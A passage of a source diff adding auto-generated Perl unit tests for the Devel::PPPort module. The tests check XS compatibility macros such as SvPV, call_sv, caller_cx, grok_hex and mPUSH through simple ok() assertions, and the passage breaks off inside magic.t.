+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (4) {
+ load();
+ plan(tests => 4);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::HvNAME_get(\%Devel::PPPort::), 'Devel::PPPort');
+ok(!defined Devel::PPPort::HvNAME_get({}));
+
+ok(Devel::PPPort::HvNAMELEN_get(\%Devel::PPPort::), length('Devel::PPPort'));
+ok(Devel::PPPort::HvNAMELEN_get({}), 0);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/MY_CXT.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/MY_CXT.t
new file mode 100644
index 00000000000..a94bd386c4d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/MY_CXT.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/MY_CXT instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (3) {
+ load();
+ plan(tests => 3);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::MY_CXT_1());
+ok(&Devel::PPPort::MY_CXT_2());
+ok(&Devel::PPPort::MY_CXT_CLONE());
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvPV.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvPV.t
new file mode 100644
index 00000000000..392a0ccb0e3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvPV.t
@@ -0,0 +1,120 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/SvPV instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (49) {
+ load();
+ plan(tests => 49);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $mhx = "mhx";
+
+ok(&Devel::PPPort::SvPVbyte($mhx), 3);
+
+my $i = 42;
+
+ok(&Devel::PPPort::SvPV_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_const($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_force_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_nolen_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), $i++);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen_const($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), 0);
+
+my $str = "";
+&Devel::PPPort::SvPV_force($str);
+my($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 81, "x"x80);
+ok($str, "x"x80);
+ok($s2, "x"x80);
+ok($before < 81);
+ok($after, 81);
+
+$str = "x"x400;
+&Devel::PPPort::SvPV_force($str);
+($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 41, "x"x40);
+ok($str, "x"x40);
+ok($s2, "x"x40);
+ok($before > 41);
+ok($after, 41);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvREFCNT.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvREFCNT.t
new file mode 100644
index 00000000000..0b46a51793c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvREFCNT.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/SvREFCNT instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (14) {
+ load();
+ plan(tests => 14);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+for (Devel::PPPort::SvREFCNT()) {
+ ok(defined $_ and $_);
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/Sv_set.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/Sv_set.t
new file mode 100644
index 00000000000..77a7a860db0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/Sv_set.t
@@ -0,0 +1,71 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/Sv_set instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (5) {
+ load();
+ plan(tests => 5);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $foo = 5;
+ok(&Devel::PPPort::TestSvUV_set($foo, 12345), 42);
+ok(&Devel::PPPort::TestSvPVX_const("mhx"), 43);
+ok(&Devel::PPPort::TestSvPVX_mutable("mhx"), 44);
+
+my $bar = [];
+
+bless $bar, 'foo';
+ok($bar->x(), 'foobar');
+
+Devel::PPPort::TestSvSTASH_set($bar, 'bar');
+ok($bar->x(), 'hacker');
+
+package foo;
+
+sub x { 'foobar' }
+
+package bar;
+
+sub x { 'hacker' }
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/call.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/call.t
new file mode 100644
index 00000000000..4d3e80e4c80
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/call.t
@@ -0,0 +1,107 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/call instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (52) {
+ load();
+ plan(tests => 52);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+sub eq_array
+{
+ my($a, $b) = @_;
+ join(':', @$a) eq join(':', @$b);
+}
+
+sub f
+{
+ shift;
+ unshift @_, 'b';
+ pop @_;
+ @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $obj = bless [], 'Foo';
+
+sub Foo::meth
+{
+ return 'bad_self' unless @_ && ref $_[0] && ref($_[0]) eq 'Foo';
+ shift;
+ shift;
+ unshift @_, 'b';
+ pop @_;
+ @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $test;
+
+for $test (
+ # flags args expected description
+ [ &Devel::PPPort::G_SCALAR, [ ], [ qw(y 1) ], '0 args, G_SCALAR' ],
+ [ &Devel::PPPort::G_SCALAR, [ qw(a p q) ], [ qw(y 1) ], '3 args, G_SCALAR' ],
+ [ &Devel::PPPort::G_ARRAY, [ ], [ qw(x 1) ], '0 args, G_ARRAY' ],
+ [ &Devel::PPPort::G_ARRAY, [ qw(a p q) ], [ qw(b p x 3) ], '3 args, G_ARRAY' ],
+ [ &Devel::PPPort::G_DISCARD, [ ], [ qw(0) ], '0 args, G_DISCARD' ],
+ [ &Devel::PPPort::G_DISCARD, [ qw(a p q) ], [ qw(0) ], '3 args, G_DISCARD' ],
+)
+{
+ my ($flags, $args, $expected, $description) = @$test;
+ print "# --- $description ---\n";
+ ok(eq_array( [ &Devel::PPPort::call_sv(\&f, $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv(*f, $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_pv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_argv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::eval_sv("f(qw(@$args))", $flags) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_method('meth', $flags, $obj, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv_G_METHOD('meth', $flags, $obj, @$args) ], $expected));
+};
+
+ok(&Devel::PPPort::eval_pv('f()', 0), 'y');
+ok(&Devel::PPPort::eval_pv('f(qw(a b c))', 0), 'y');
+
+ok(!defined $::{'less::'}, 1, "Hadn't loaded less yet");
+Devel::PPPort::load_module(0, "less", undef);
+ok(defined $::{'less::'}, 1, "Have now loaded less");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/cop.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/cop.t
new file mode 100644
index 00000000000..1677dee79aa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/cop.t
@@ -0,0 +1,110 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/cop instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (28) {
+ load();
+ plan(tests => 28);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $package;
+{
+ package MyPackage;
+ $package = &Devel::PPPort::CopSTASHPV();
+}
+print "# $package\n";
+ok($package, "MyPackage");
+
+my $file = &Devel::PPPort::CopFILE();
+print "# $file\n";
+ok($file =~ /cop/i);
+
+BEGIN {
+ if ($] < 5.006000) {
+ # Skip
+ for (1..28) {
+ ok(1, 1);
+ }
+ exit;
+ }
+}
+
+BEGIN {
+ package DB;
+ no strict "refs";
+ local $^P = 1;
+ sub sub { &$DB::sub }
+}
+
+{ package One; sub one { Devel::PPPort::caller_cx($_[0]) } }
+{
+ package Two;
+ sub two { One::one(@_) }
+ sub dbtwo {
+ BEGIN { $^P = 1 }
+ One::one(@_);
+ BEGIN { $^P = 0 }
+ }
+}
+
+for (
+ # This is rather confusing. The package is the package the call is
+ # made *from*, the sub name is the sub the call is made *to*. When
+ # DB::sub is involved the first call is to DB::sub from the calling
+ # package, the second is to the real sub from package DB.
+ [\&One::one, 0, qw/main one main one/],
+ [\&One::one, 2, ],
+ [\&Two::two, 0, qw/Two one Two one/],
+ [\&Two::two, 1, qw/main two main two/],
+ [\&Two::dbtwo, 0, qw/Two sub DB one/],
+ [\&Two::dbtwo, 1, qw/main dbtwo main dbtwo/],
+) {
+ my ($sub, $arg, @want) = @$_;
+ my @got = $sub->($arg);
+ ok(@got, @want);
+ for (0..$#want) {
+ ok($got[$_], $want[$_]);
+ }
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/exception.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/exception.t
new file mode 100644
index 00000000000..c432df6e69d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/exception.t
@@ -0,0 +1,67 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/exception instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (7) {
+ load();
+ plan(tests => 7);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $rv;
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(0) };
+ok($@, '');
+ok(defined $rv);
+ok($rv, 42);
+ok($Devel::PPPort::exception_caught, 0);
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(1) };
+ok($@, "boo\n");
+ok(not defined $rv);
+ok($Devel::PPPort::exception_caught, 1);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/format.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/format.t
new file mode 100644
index 00000000000..a25ede533f5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/format.t
@@ -0,0 +1,55 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/format instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (1) {
+ load();
+ plan(tests => 1);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $num = 1.12345678901234567890;
+
+eval { Devel::PPPort::croak_NVgf($num) };
+ok($@ =~ /^1.1234567890/);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/grok.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/grok.t
new file mode 100644
index 00000000000..b807ce8ccd6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/grok.t
@@ -0,0 +1,62 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/grok instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (10) {
+ load();
+ plan(tests => 10);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::grok_number("A")));
+ok(&Devel::PPPort::grok_bin("10000001"), 129);
+ok(&Devel::PPPort::grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::grok_oct("377"), 255);
+
+ok(&Devel::PPPort::Perl_grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::Perl_grok_number("A")));
+ok(&Devel::PPPort::Perl_grok_bin("10000001"), 129);
+ok(&Devel::PPPort::Perl_grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::Perl_grok_oct("377"), 255);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/gv.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/gv.t
new file mode 100644
index 00000000000..06dfed1b54c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/gv.t
@@ -0,0 +1,63 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/gv instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (7) {
+ load();
+ plan(tests => 7);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::GvSVn(), 1);
+
+ok(Devel::PPPort::isGV_with_GP(), 2);
+
+ok(Devel::PPPort::get_cvn_flags(), 3);
+
+ok(Devel::PPPort::gv_fetchpvn_flags(), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_fetchsv("Devel::PPPort::VERSION"), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_init_type("sanity_check", 0, 0), "*main::sanity_check");
+ok($::{sanity_check});
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/limits.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/limits.t
new file mode 100644
index 00000000000..ed1cb2e3ac2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/limits.t
@@ -0,0 +1,55 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/limits instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (4) {
+ load();
+ plan(tests => 4);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::iv_size());
+ok(&Devel::PPPort::uv_size());
+ok(&Devel::PPPort::iv_type());
+ok(&Devel::PPPort::uv_type());
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/mPUSH.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/mPUSH.t
new file mode 100644
index 00000000000..2f382768288
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/mPUSH.t
@@ -0,0 +1,62 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/mPUSH instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (10) {
+ load();
+ plan(tests => 10);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(join(':', &Devel::PPPort::mPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mPUSHu()), "1:2:3");
+
+ok(join(':', &Devel::PPPort::mXPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mXPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mXPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mXPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mXPUSHu()), "1:2:3");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/magic.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/magic.t
new file mode 100644
index 00000000000..f467613f27d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/magic.t
@@ -0,0 +1,120 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/magic instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
